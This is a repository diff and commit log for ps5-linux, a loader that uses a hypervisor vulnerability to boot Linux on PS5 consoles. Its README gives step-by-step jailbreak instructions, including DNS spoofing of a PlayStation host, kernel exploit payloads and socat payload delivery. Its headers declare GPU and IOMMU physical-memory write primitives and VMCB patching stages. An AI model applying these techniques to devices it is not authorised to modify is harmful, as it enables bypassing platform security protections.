39 Commits
v1.0 ... v2.0

Author SHA1 Message Date
Andy Nguyen
eb886e9467 Add new hv exploit. 2026-05-17 11:54:10 +02:00
Andy Nguyen
fbe5ae0c32 Major cleanup and prepare for new hv exploit. 2026-05-16 09:43:48 +02:00
Mateico
85a16afa80 remove data_cave offset and use page alloc for sc args 2026-05-15 15:04:08 +02:00
Andy Nguyen
e84dcbf281 Rename hv_defeat to hv_defeat_0304. 2026-05-15 13:01:11 +02:00
Mateico
a5f27e2205 refactor kernel shellcode and more tyding 2026-05-13 16:31:10 +02:00
Mateico
9d58e22a77 some more tyding 2026-05-13 11:09:19 +02:00
Andy Nguyen
e439d8d36a Remove unneeded offset. 2026-05-13 08:58:41 +02:00
Andy Nguyen
854c44ef56 Adjust readme. 2026-05-13 07:38:27 +02:00
Andy Nguyen
d024563d48 Fix logo. 2026-05-13 07:32:07 +02:00
Andy Nguyen
6a95a5ee82 Cleanup Makefile and linker.ld. 2026-05-13 07:31:01 +02:00
Andy Nguyen
81e2b00059 Add puts_uart. 2026-05-13 07:08:28 +02:00
Andy Nguyen
50b28fb8c1 More cleanup.
Rename shellcode_hypervisor to shellcode_hv and kernel_code to boot_linux.
2026-05-12 23:32:23 +02:00
Andy Nguyen
238f89d954 Clean up newlines. 2026-05-12 23:20:34 +02:00
Andy Nguyen
d66ed49866 Use xxd and remove python scripts. 2026-05-12 23:14:30 +02:00
Andy Nguyen
f87828b554 Format code. 2026-05-12 23:01:40 +02:00
Anderson
4b5fc13e80 Merge pull request #12 from ps5-linux/dev-wifi-fw 2026-05-11 20:59:05 -03:00
buzzer-re
8e60126031 remove readded merged files 2026-05-11 20:53:22 -03:00
Anderson
7617090c6c Merge branch 'main' into dev-wifi-fw 2026-05-11 20:48:27 -03:00
buzzer-re
f017958451 Simplify firmware setup, save at boot partition and let driver's installer copy when needed 2026-05-11 20:43:13 -03:00
Anderson
d5e1702917 Load Marvell WiFi blobs dynamically using initramfs (#11)
* Add PS5 WiFi firmware initramfs loader support
Add a CPIO wrapper to add new files/folders at initrd at runtime
Add early boot scripts (initramfs-tools for debian-based) support

* logging & comment
2026-05-11 19:26:13 +02:00
buzzer-re
1be941e9bd logging & comment 2026-05-11 12:17:29 -03:00
buzzer-re
28e2ccd35a Add PS5 WiFi firmware initramfs loader support
Add a CPIO wrapper to add new files/folders at initrd at runtime
Add early boot scripts (initramfs-tools for debian-based) support
2026-05-10 19:28:00 -03:00
c0w-ar
4355489449 Merge pull request #10 from sleirsgoevy/path-override
Add filename override
2026-05-10 17:46:09 +02:00
Andy Nguyen
c5154ba567 Update readme. 2026-05-10 14:12:57 +02:00
Sonya Sireneva
29a0d28c69 Add filename override
The new file path-override.txt contains overrides for the other files
the loader may try to read from the disk. For example:

```
bzImage=vmlinuz
initrd.img=initramfs
```
2026-05-10 14:28:41 +03:00
Mateico
7a58386b98 devkit ram support 2026-05-08 20:44:57 +02:00
Rhitayu Chattopadhyay
dcb60beef2 Add iommu definitions. 2026-05-08 13:18:05 +02:00
Andy Nguyen
9f1d4f683d Update readme. 2026-05-06 22:41:28 +02:00
Andy Nguyen
235ad43eb5 Update readme. 2026-05-05 22:17:13 +02:00
Andy Nguyen
9d0bfe00b9 Update readme. 2026-05-04 07:55:50 +02:00
Andy Nguyen
b9e4b36688 Update readme. 2026-05-02 20:34:54 +02:00
Mateico
5ae9c4de79 cleanup 2026-05-02 18:44:17 +02:00
Andy Nguyen
aedd5e3b38 Merge pull request #4 from kirathenotebook/patch-1
Update README.md
2026-05-01 00:28:09 +02:00
kirathenotebook
b45045217f Update README.md
Thanks to petewins for the suggestion to remove the video=DP-1: line
2026-05-01 00:25:02 +02:00
c0w-ar
c602ff8063 Merge pull request #3 from buzzer-re/fix-linux-arm64
Add direct "x86_64-linux-gnu-*" if running on ARM64 Linux machines
2026-04-30 20:20:16 +02:00
Mateico
65961996d7 cleanup of warnings 2026-04-30 10:09:35 +02:00
Mateico
354e996485 move 04.03 code cave to support devkit 2026-04-30 08:29:46 +02:00
buzzer-re
6ac9bab944 Add direct "x86_64-linux-gnu-*" if running on ARM64 Linux machines 2026-04-29 23:53:05 -03:00
Andy Nguyen
2497034be9 Add some clarifications. 2026-04-29 01:21:47 +02:00
52 changed files with 3550 additions and 3230 deletions

6
.gitignore vendored Normal file
View File

@@ -0,0 +1,6 @@
bin/
shellcode_kernel/shellcode_kernel.h
shellcode_hv/shellcode_hv.h
*.elf
*.bin
*.o

View File

@@ -1,37 +1,37 @@
.PHONY: all clean
ifndef PS5_PAYLOAD_SDK
PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/
endif
include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk
BIN := bin/ps5-linux-loader.elf
SRC := $(wildcard source/*.c)
OBJS := $(SRC:.c=.o)
CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hypervisor -Ishellcode_kernel
LDFLAGS :=
SC_HV_H := shellcode_hypervisor/shellcode_hypervisor.h
SC_K_H := shellcode_kernel/shellcode_kernel.h
all: $(SC_HV_H) $(SC_K_H) $(BIN)
$(SC_HV_H):
$(MAKE) -C shellcode_hypervisor
$(SC_K_H):
$(MAKE) -C shellcode_kernel
$(OBJS): %.o: %.c
$(CC) $(CFLAGS) -c -o $@ $<
$(BIN): $(OBJS)
@mkdir -p $(dir $@)
$(CC) $(OBJS) $(LDFLAGS) -o $@
clean:
rm -f $(BIN) $(OBJS)
$(MAKE) -C shellcode_hypervisor clean
$(MAKE) -C shellcode_kernel clean
.PHONY: all clean
ifndef PS5_PAYLOAD_SDK
PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/
endif
include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk
BIN := bin/ps5-linux-loader.elf
SRC := $(wildcard source/*.c)
OBJS := $(SRC:.c=.o)
CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hv -Ishellcode_kernel
LDFLAGS :=
SC_HV_H := shellcode_hv/shellcode_hv.h
SC_K_H := shellcode_kernel/shellcode_kernel.h
all: $(SC_HV_H) $(SC_K_H) $(BIN)
$(SC_HV_H):
$(MAKE) -C shellcode_hv
$(SC_K_H):
$(MAKE) -C shellcode_kernel
$(OBJS): %.o: %.c
$(CC) $(CFLAGS) -c -o $@ $<
$(BIN): $(OBJS)
@mkdir -p $(dir $@)
$(CC) $(OBJS) $(LDFLAGS) -o $@
clean:
rm -f $(BIN) $(OBJS)
$(MAKE) -C shellcode_hv clean
$(MAKE) -C shellcode_kernel clean

156
README.md
View File

@@ -1,6 +1,6 @@
# ps5-linux
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.xx or 4.xx firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.00-6.02 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
![Alt Text](logo.webp)
@@ -8,14 +8,13 @@
*ps5-linux* is currently only supported on PS5 Phat on 3.xx and 4.xx firmwares.
- **3.00**, **3.10**, **3.20**, **3.21**, without M.2 support
- **3.00**, **3.10**, **3.20**, **3.21** without M.2 support
- **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
- **5.50** with M.2 support
- **6.00**, **6.02** with M.2 support
- Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
Support for 5.xx firmwares may be added in the future, but for those firmwares, Linux will run within the GameOS VM, thus it will have less features (still unknown what limitations there will be) and it may not perform as good.
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5.
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. Obviously you cannot downgrade.
## Hardwares
@@ -30,21 +29,34 @@ To run *ps5-linux*, you need some required and optional hardwares:
## Configure PS5 settings
- **Required**: Enable Rest Mode features:
- **VERY IMPORTANT**: Enable Rest Mode features:
- Go to `Settings``System``Power Saving``Features Available in Rest Mode` and set `Supply Power to USB Ports` to `Always`.
- **Required**: Disable HDMI Device Link:
- **VERY IMPORTANT**: Disable HDMI Device Link:
- Go to `Settings``HDMI``Enable HDMI Device Link`
- *Recommended*: Disable automatic updates:
- Go to `Settings``System Software``System Software Update and Settings`
- *Recommended*: Disable automatic error reporting:
- Go to `Settings``System Software``Report System Software Errors Automatically`
If you reset your PS5 settings or reinstall the FW, you need to reapply these settings again.
## Installation
### 1. Get a Linux image
#### Linux/macOS:
Install docker:
```bash
sudo apt update
sudo apt install docker.io -y
sudo service docker start
sudo usermod -aG docker $USER
```
Restart the terminal.
```bash
git clone https://github.com/ps5-linux/ps5-linux-image
cd ps5-linux-image
@@ -99,36 +111,7 @@ sudo dd if=output/ps5-ubuntu2604.img of=/dev/sdX bs=4M status=progress conv=fsyn
#### Windows (Balena Etcher):
Download Balena Etcher, select the .img file, select your USB drive, click Flash.
#### Windows (WSL2 + usbipd):
Install usbipd in PowerShell as administrator:
```bash
winget install usbipd
```
Plug in your USB drive, list devices and find the busid of your drive:
```bash
usbipd list
```
Bind and attach it to WSL (replace 5-3 with your busid):
```bash
usbipd bind --busid 5-3
usbipd attach --busid 5-3 --wsl
```
Then flash from WSL:
```bash
lsblk # confirm the drive appeared, e.g. /dev/sdb
sudo wipefs -a /dev/sdX
sudo dd if=output/ps5-ubuntu2604.img of=/dev/sdX bs=4M status=progress
```
Download [Balena Etcher](https://etcher.balena.io/), select the `.img` file, select your USB drive, click Flash.
### 3. Plug the USB drive into your PS5
@@ -139,16 +122,29 @@ The following USB ports are supported for booting:
The front top Type-A port is USB 2.0 which is slower and thus not recommended.
### 4. Run the jailbreak exploit
### 4. Run the jailbreak
1. Clone https://github.com/idlesauce/umtx2
#### Firmware 3.00-5.50
1. Clone via: `git clone https://github.com/idlesauce/umtx2`
2. Configure fakedns via `dns.conf` to point `manuals.playstation.net` to your PCs IP address
3. Run fake dns: `python fakedns.py -c dns.conf`
4. Run HTTPS server: `python host.py`
3. Run fake dns: `sudo python fakedns.py -c dns.conf`
4. In a different terminal, run HTTPS server: `sudo python host.py`
5. Go into PS5 advanced network settings and set primary DNS to your PCs IP address and leave secondary at `0.0.0.0`
6. Go to user manual in settings and accept untrusted certificate prompt, run.
#### 5. Send the payload
#### Firmware 6.00-6.02
1. Install Y2JB by following https://github.com/Gezine/Y2JB.
2. Run kernel exploit: `python3 payload_sender.py $PS5IP 50000 payloads/lapse.js`
### 5. Send the payload
If you're on ARM64 Linux, first install the x86-64 cross-compilation tools before:
```bash
sudo apt install gcc-x86-64-linux-gnu binutils-x86-64-linux-gnu
```
Either download [ps5-linux-loader.elf](https://github.com/ps5-linux/ps5-linux-loader/releases/), or install [ps5-payload-sdk](https://github.com/ps5-payload-dev/sdk) and compile it yourself:
```bash
@@ -157,21 +153,23 @@ cd ps5-linux-loader
make
```
Find your PS5 IP at `Settings → Network → View Connection Status`.
Send the payload with your `$PS5IP` (shown on the page):
```bash
socat -t 99999999 - TCP:192.168.178.127:9021 < ps5-linux-loader.elf
socat -t 99999999 - TCP:$PS5IP:9021 < ps5-linux-loader.elf
```
If all is successful, the payload will automatically go into rest mode. Wait until the orange LED stops blinking and becomes static. Only then, press the power button again to boot your PS5 into Linux. If the boot is successful, **the LED should turn white**. If it boots back into PS5 OS, then it's because you pressed the power button too early. Or, you did not enable rest mode features as described above.
If the LED is white, but you still have a blackscreen then:
- Try removing `video=DP-1:1920x1080@60` line in cmdline.txt.
- Try different monitors or capture cards, ideally with different resolutions. Currently, some monitors have issues.
- Try setting `amdgpu.force_1080p=1` in `cmdline.txt` in the FAT32 partition of the USB drive.
If none of this helps, please report the issue in our [Discord server](https://discord.gg/PeMGVB7BAm) and provide your EDID information.
## First Boot
Configure your system and memorize your login password.
@@ -180,37 +178,61 @@ Then, there are certain settings and commands we recommend doing:
1. Disable screen saver, as it is currently buggy.
2. Install Firefox:
2. Possibly, you have to disable and reenable your Wired/WLAN connection to get internet connection.
3. Hold packages to prevent updating the kernel when doing `apt upgrade`:
```bash
snap install firefox
sudo snap refresh mesa-2404 --channel=latest/edge
sudo apt-mark hold linux-generic linux-generic-hwe-24.04 linux-generic-hwe-26.04 linux-image-generic linux-image-generic-hwe-24.04 linux-image-generic-hwe-26.04 linux-headers-generic linux-headers-generic-hwe-24.04 linux-headers-generic-hwe-26.04
```
3. Clone our [ps5-linux-tools](https://github.com/ps5-linux/ps5-linux-tools):
4. Install Firefox:
```bash
sudo snap install firefox
```
5. Update mesa:
```bash
sudo snap refresh mesa-2404 --channel=latest/edge
sudo add-apt-repository ppa:kisak/kisak-mesa
sudo apt update
sudo apt upgrade
```
6. Clone our [ps5-linux-tools](https://github.com/ps5-linux/ps5-linux-tools):
```bash
sudo apt install zlib1g-dev
git clone https://github.com/ps5-linux/ps5-linux-tools
cd ps5-linux-tools
make
```
7. Install the mwifiex driver for the internal WLAN chip:
```bash
git clone https://github.com/ps5-linux/ps5-linux-mwifiex
cd ps5-linux-mwifiex
sudo ./install.sh
```
## M.2 installation
You can use a M.2 SSD exclusively for Linux (which means you cannot use it for PS5 game storage).
1. Attach the M.SSD and boot Linux on your PS5.
2. Run these commands to initialize your M.2:
1. Attach the M.2 SSD by following the [official guide](https://www.playstation.com/en-us/support/hardware/ps5-install-m2-ssd).
2. **VERY IMPORTANT**: If you used the M2. SSD for games before, reformat it on the PS5 under `Settings` → `Storage` → `M.2 SSD Storage`.
3. Boot Linux on your PS5 and run these commands to initialize your M.2:
```bash
sudo apt install zlib1g-dev
cd ps5-linux-tools
gcc -o m2_init m2_init.c -lz
sudo ./m2_init
```
3. Reboot via `sudo reboot`. If your PS5 asks you to format your M.2 again, please report this issue to us in our [Discord server](https://discord.gg/PeMGVB7BAm) and provide your M.2 model and storage size.
4. Relaunch Linux on your PS5.
5. Copy the `ps5-ubuntu2604.img` image that you built during installation or rebuild it on your PS5. Then, install it onto your M.2:
4. Reboot via `sudo reboot`. If your PS5 asks you to format your M.2 again, please report this issue to us in our [Discord server](https://discord.gg/PeMGVB7BAm) and provide your M.2 model and storage size.
5. Relaunch Linux on your PS5.
6. Copy the `ps5-ubuntu2604.img` image that you built during installation or rebuild it on your PS5. Then, install it onto your M.2:
```bash
cd ps5-linux-tools
@@ -226,7 +248,9 @@ chmod +x ./m2_exec.sh
sudo ./m2_exec.sh
```
In order to always boot Linux from your M.2, you can edit the label at `/boot/efi/cmdline.txt` from `root=LABEL=ubuntu2604` to `root=LABEL=ubuntu2604-m2`.
Then follow the same instructions again as the previous section.
In order to always boot Linux from your M.2, you can edit the label at `/boot/efi/cmdline.txt` from `root=LABEL=ubuntu2604` to `root=LABEL=ubuntu2604-m2`. You will still require a USB drive with the FAT32, but you can reformat the ext4 partition.
## Fan & boost control
@@ -234,7 +258,6 @@ We provide a simple tool that allows you to boost your CPU to 3500Mhz and GPU to
```bash
cd ps5-linux-tools
gcc -o ps5_control ps5_control.c
sudo ./ps5_control --fan on
sudo ./ps5_control --boost on
```
@@ -243,28 +266,33 @@ Always turn on fan when your turn on boost, as this is what the official PS5 OS
## FAQ
- Q: Will higher >=6.50 firmwares be supported?
- A: No.
- Q: Why can I not use M.2 on 3.xx?
- A: Because the PS5 fails to boot with it attached.
- Q: Can I dual-boot Linux and PS5 OS?
- A: No, this is a soft-mod. You need to re-run the exploit in order to boot into Linux.
- Q: Can I put Linux into standby and resume?
- A: No, this is not supported. We may however add a shutdown feature that puts your PS5 into rest-mode allowing you to relaunch Linux when powering up again.
- Q: Can I continue using my PS5 if I install Linux?
- A: Yes, the internal SSD is not modified
- Q: Can I use the PS5's NIC/WLAN module in Linux?
- A: In theory yes, but someone needs to write or adapt drivers to use them.
- Q: Will higher >=6.xx firmwares be supported?
- A: No.
- Q: Does the DualSense controller work?
- A: Via a Bluetooth dongle. Built-in Bluetooth is not yet supported.
- Q: What resolutions and refresh rates are supported?
- A: So far only 1080p, 1440p and 2160p at 60Hz. 120Hz or 30Hz may be added in the future.
- A: 1080p, 1440p and 2160p at 60Hz are broadly supported. 1440p@120Hz has been the only confirmed working on the DELL S3225QC yet. 120Hz or 30Hz may be added in the future.
## Tips and tricks
- If you see graphical issues in your games, add the environment variable `RADV_DEBUG=nohiz` as [recommended for BC250](https://elektricm.github.io/amd-bc250-docs/drivers/environment/#critical-environment-variables) as well.
- You can adjust the kernel cmdline in `cmdline.txt` in the FAT32 partition.
- You can adjust the VRAM size in `vram.txt` in the FAT32 partition. By default, it uses 512MB (0x20000000) which enables [Dynamic VRAM allocation](https://elektricm.github.io/amd-bc250-docs/bios/flashing/#why-flash-the-bios).
- Monitor hotswap may work, but it will not change resolution automatically.
- Some monitors have a black screen if a video=DP-1: parameter is set in `cmdline.txt`. Confirmed working without `video=DP-1:1920x1080@60` on:
- MSI MAG274Q QD E2, DELL S2721DGF, DELL U2515H (1440p@60Hz)
- Possibly also: LG 27GL850, Lenovo Legion Y27q, ViewSonic Elite XG270QG
Many configurations, tips and tricks from the [AMD BC250 Documentation](https://elektricm.github.io/amd-bc250-docs/) also apply to PS5.

View File

@@ -1,34 +1,37 @@
#ifndef CONFIG_H
#define CONFIG_H
#define PAGE_SIZE 0x4000ULL
// This is used to allocate resources for HV shellcode and Linux boot
#define cave 0x100000000ULL
#define cave_hv_paging cave
#define cave_hv_code \
cave_hv_paging + 0x3000ULL // Leave space for 3 pages but we only use 2 for
// 1GB 1:1 mapping
#define cave_linux_files cave_hv_code + 0x2000ULL
#define cave_linux_info cave_linux_files
#define cave_bzImage cave_linux_info + PAGE_SIZE
// #define cave_initrd // Allocated dynamically after bzImage
#define hv_base_rsp (cave + 0x10000000ULL)
#define hv_stack_size 0x1000ULL
// This is used as transitional storage from ProsperoOS to Kernel shellcode
#define kernel_cave_files 0xFFFF800000000000
#define kernel_cave_linux_info kernel_cave_files
#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE
// #define kernel_cave_initrd // Allocated dynamically after bzImage
// Linux boot config
#define VRAM_SIZE (512ULL * 1024 * 1024)
#define CMD_LINE \
"root=/dev/sda2 rw rootwait console=ttyTitania0 console=tty0 " \
"video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf"
#define DEBUG 0 // Toggle to 0 to disable logs
#endif
#ifndef CONFIG_H
#define CONFIG_H
#define PAGE_SIZE 0x4000ULL
// This is used to allocate resources for HV shellcode and Linux boot
#define cave 0x100000000ULL
#define cave_hv_paging cave
#define cave_hv_code \
cave_hv_paging + 0x3000ULL // Leave space for 3 pages but we only use 2 for
// 1GB 1:1 mapping
#define cave_linux_files cave_hv_code + 0x2000ULL
#define cave_linux_info cave_linux_files
#define cave_bzImage cave_linux_info + PAGE_SIZE
// #define cave_initrd // Allocated dynamically after bzImage
#define hv_base_rsp (cave + 0x10000000ULL)
#define hv_stack_size 0x1000ULL
// This is used as transitional storage from ProsperoOS to Kernel shellcode
#define kernel_cave 0xFFFF800000000000
#define kernel_cave_shellcode kernel_cave
#define kernel_cave_files kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
#define kernel_cave_linux_info kernel_cave_files
#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE
// #define kernel_cave_initrd // Allocated dynamically after bzImage
// Linux boot config
#define VRAM_SIZE (512ULL * 1024 * 1024)
#define CMD_LINE \
"root=/dev/sda2 rw rootwait console=ttyTitania0 console=tty0 " \
"video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf"
#define DEBUG 0 // Toggle to 0 to disable logs
#endif

6
include/firmware.h Normal file
View File

@@ -0,0 +1,6 @@
#ifndef FIRMWARE_H
#define FIRMWARE_H
int dump_device_firmwares(const char *boot_file_path);
#endif

View File

@@ -1,70 +1,70 @@
/*** Source: ps5-hen by cragson ***/
#ifndef GPU_H
#define GPU_H
#include <stdint.h>
#define GPU_PDE_VALID_BIT 0
#define GPU_PDE_IS_PTE_BIT 54
#define GPU_PDE_TF_BIT 56
#define GPU_PDE_BLOCK_FRAG_BIT 59
#define GPU_PDE_ADDR_MASK 0x0000FFFFFFFFFFC0ULL
#define PROT_GPU_READ 0x10
#define PROT_GPU_WRITE 0x20
#define MAP_NO_COALESCE 0x00400000
#define GPU_SUBMIT_IOCTL 0xC0108102
#define PM4_TYPE3 3
#define PM4_SHADER_COMPUTE 1
#define PM4_OPCODE_DMA_DATA 0x50
#define PM4_OPCODE_INDIRECT_BUF 0x3F
struct gpu_kernel_offsets {
uint64_t proc_vmspace; // proc->p_vmspace offset
uint64_t vmspace_vm_vmid; // vmspace->vm_vmid offset
uint64_t data_base_gvmspace; // offset from kernel data base to gvmspace array
uint64_t sizeof_gvmspace; // size of each gvmspace entry
uint64_t gvmspace_page_dir_va; // gvmspace->page_dir_va offset (GPU PDB2)
uint64_t gvmspace_size; // gvmspace->size offset
uint64_t gvmspace_start_va; // gvmspace->start_va offset
};
struct gpu_ctx {
int fd; // /dev/gc file descriptor
int initialized; // 1 if gpu_init() succeeded
uint64_t victim_va; // CPU VA of victim buffer (GPU PTE remapped)
uint64_t transfer_va; // CPU VA of transfer/staging buffer
uint64_t cmd_va; // CPU VA of PM4 command buffer
uint64_t victim_real_pa; // original physical address of victim buffer
uint64_t victim_ptbe_va; // kernel VA of the GPU PTE for victim buffer
uint64_t cleared_ptbe; // GPU PTE with physical address cleared (template)
uint64_t page_size; // GPU page size for victim allocation (should be 2MB)
uint64_t dmem_size; // allocation size (2MB)
};
void gpu_set_offsets(struct gpu_kernel_offsets *offsets);
int gpu_init(void);
int gpu_init_internal(void);
int gpu_test(void);
int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size);
uint8_t gpu_read_phys1(uint64_t phys_addr);
uint32_t gpu_read_phys4(uint64_t phys_addr);
uint64_t gpu_read_phys8(uint64_t phys_addr);
int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size);
void gpu_write_phys4(uint64_t phys_addr, uint32_t value);
void gpu_write_phys8(uint64_t phys_addr, uint64_t value);
void gpu_cleanup(void);
struct gpu_ctx *gpu_get_ctx(void);
#endif
/*** Source: ps5-hen by cragson ***/
#ifndef GPU_H
#define GPU_H
#include <stdint.h>
#define GPU_PDE_VALID_BIT 0
#define GPU_PDE_IS_PTE_BIT 54
#define GPU_PDE_TF_BIT 56
#define GPU_PDE_BLOCK_FRAG_BIT 59
#define GPU_PDE_ADDR_MASK 0x0000FFFFFFFFFFC0ULL
#define PROT_GPU_READ 0x10
#define PROT_GPU_WRITE 0x20
#define MAP_NO_COALESCE 0x00400000
#define GPU_SUBMIT_IOCTL 0xC0108102
#define PM4_TYPE3 3
#define PM4_SHADER_COMPUTE 1
#define PM4_OPCODE_DMA_DATA 0x50
#define PM4_OPCODE_INDIRECT_BUF 0x3F
struct gpu_kernel_offsets {
uint64_t proc_vmspace; // proc->p_vmspace offset
uint64_t vmspace_vm_vmid; // vmspace->vm_vmid offset
uint64_t data_base_gvmspace; // offset from kernel data base to gvmspace array
uint64_t sizeof_gvmspace; // size of each gvmspace entry
uint64_t gvmspace_page_dir_va; // gvmspace->page_dir_va offset (GPU PDB2)
uint64_t gvmspace_size; // gvmspace->size offset
uint64_t gvmspace_start_va; // gvmspace->start_va offset
};
struct gpu_ctx {
int fd; // /dev/gc file descriptor
int initialized; // 1 if gpu_init() succeeded
uint64_t victim_va; // CPU VA of victim buffer (GPU PTE remapped)
uint64_t transfer_va; // CPU VA of transfer/staging buffer
uint64_t cmd_va; // CPU VA of PM4 command buffer
uint64_t victim_real_pa; // original physical address of victim buffer
uint64_t victim_ptbe_va; // kernel VA of the GPU PTE for victim buffer
uint64_t cleared_ptbe; // GPU PTE with physical address cleared (template)
uint64_t page_size; // GPU page size for victim allocation (should be 2MB)
uint64_t dmem_size; // allocation size (2MB)
};
void gpu_set_offsets(struct gpu_kernel_offsets *offsets);
int gpu_init(void);
int gpu_init_internal(void);
int gpu_test(void);
int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size);
uint8_t gpu_read_phys1(uint64_t phys_addr);
uint32_t gpu_read_phys4(uint64_t phys_addr);
uint64_t gpu_read_phys8(uint64_t phys_addr);
int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size);
void gpu_write_phys4(uint64_t phys_addr, uint32_t value);
void gpu_write_phys8(uint64_t phys_addr, uint64_t value);
void gpu_cleanup(void);
struct gpu_ctx *gpu_get_ctx(void);
#endif

View File

@@ -1,19 +0,0 @@
#ifndef HV_DEFEAT_H
#define HV_DEFEAT_H
#include "iommu.h"
#include <stdint.h>
int hv_defeat(void);
int stage1_tmr_relax(void);
int stage2_find_vmcbs(void);
uint64_t get_vmcb(int core);
int iommu_selftest(void);
int stage3_patch_vmcbs(void);
int stage4_force_vmcb_reload(void);
int stage5_remove_xotext(void);
int stage6_kernel_pmap_invalidate_all(void);
int stage7_install_kexec(void);
int kexec(uint64_t fptr);
#endif

11
include/hv_defeat_0304.h Normal file
View File

@@ -0,0 +1,11 @@
#ifndef HV_DEFEAT_0304_H
#define HV_DEFEAT_0304_H
#include <stddef.h>
int hv_defeat_0304(void *shellcode_kernel, size_t shellcode_kernel_len);
int stage1_tmr_relax(void);
int stage2_patch_vmcbs(void);
int stage3_force_vmcb_reload(void);
#endif

8
include/hv_defeat_0506.h Normal file
View File

@@ -0,0 +1,8 @@
#ifndef HV_DEFEAT_0506_H
#define HV_DEFEAT_0506_H
#include <stddef.h>
int hv_defeat_0506(void *shellcode_kernel, size_t shellcode_kernel_len);
#endif

View File

@@ -1,46 +1,46 @@
/*** Source: ps5-hen by cragson ***/
#ifndef IOMMU_H
#define IOMMU_H
#include <stdint.h>
// Command buffer MMIO offsets
#define IOMMU_MMIO_CB_HEAD 0xa000
#define IOMMU_MMIO_CB_TAIL 0xa008
// Queue constants
#define IOMMU_CB_SIZE 0x2000
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
#define IOMMU_CMD_ENTRY_SIZE 0x10
// IOMMU softc field offsets
#define IOMMU_SC_MMIO_VA 0x40
#define IOMMU_SC_CB2_PTR 0x78
#define IOMMU_SC_CB3_PTR 0x80
#define IOMMU_SC_EB_PTR 0x60b90
typedef struct _iommu_ctx {
uint64_t cb2_base; // kernel VA of command buffer 2 (hv terminology)
uint64_t cb3_base; // kernel VA of command buffer 3 (hv terminology)
uint64_t eb_base; // kernel VA of event buffer
uint64_t mmio_va; // DMAP VA of IOMMU MMIO base
} iommu_ctx;
extern iommu_ctx iommu_store;
extern iommu_ctx *iommu;
int iommu_init(void);
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(const void *cmd);
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(uint64_t pa, uint64_t val);
// Write 4 bytes to a physical address
void iommu_write4_pa(uint64_t pa, uint32_t val);
// Write arbitrary length to a physical address in 8-byte chunks
void iommu_write_pa(uint64_t pa, const void *data, uint32_t len);
#endif
/*** Source: ps5-hen by cragson ***/
#ifndef IOMMU_H
#define IOMMU_H
#include <stdint.h>
// Command buffer MMIO offsets
#define IOMMU_MMIO_CB_HEAD 0xa000
#define IOMMU_MMIO_CB_TAIL 0xa008
// Queue constants
#define IOMMU_CB_SIZE 0x2000
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
#define IOMMU_CMD_ENTRY_SIZE 0x10
// IOMMU softc field offsets
#define IOMMU_SC_MMIO_VA 0x40
#define IOMMU_SC_CB2_PTR 0x78
#define IOMMU_SC_CB3_PTR 0x80
#define IOMMU_SC_EB_PTR 0x60b90
typedef struct _iommu_ctx {
uint64_t cb2_base; // kernel VA of command buffer 2 (hv terminology)
uint64_t cb3_base; // kernel VA of command buffer 3 (hv terminology)
uint64_t eb_base; // kernel VA of event buffer
uint64_t mmio_va; // DMAP VA of IOMMU MMIO base
} iommu_ctx;
extern iommu_ctx iommu_store;
extern iommu_ctx *iommu;
int iommu_init(void);
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(const void *cmd);
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(uint64_t pa, uint64_t val);
// Write 4 bytes to a physical address
void iommu_write4_pa(uint64_t pa, uint32_t val);
// Write arbitrary length to a physical address in 8-byte chunks
void iommu_write_pa(uint64_t pa, const void *data, uint32_t len);
#endif

View File

@@ -2,6 +2,7 @@
#define __LINUX_H__
#include <stdint.h>
#include <unistd.h>
#define X86_SUBARCH_PS5 5
@@ -104,4 +105,22 @@ struct boot_params {
uint8_t _pad9[276]; // 0xeec
} __attribute__((packed));
typedef struct {
uint64_t start;
uint64_t end;
} tmr;
struct linux_info {
uintptr_t linux_info; // PA of linux_info
uintptr_t bzimage;
size_t bzimage_size;
uintptr_t initrd;
size_t initrd_size;
size_t vram_size;
int kit_type;
int n_tmrs;
tmr tmrs[64];
char cmdline[2048];
};
#endif

View File

@@ -1,10 +1,11 @@
#include "utils.h"
#include <stdint.h>
static uint64_t alloc_page(void);
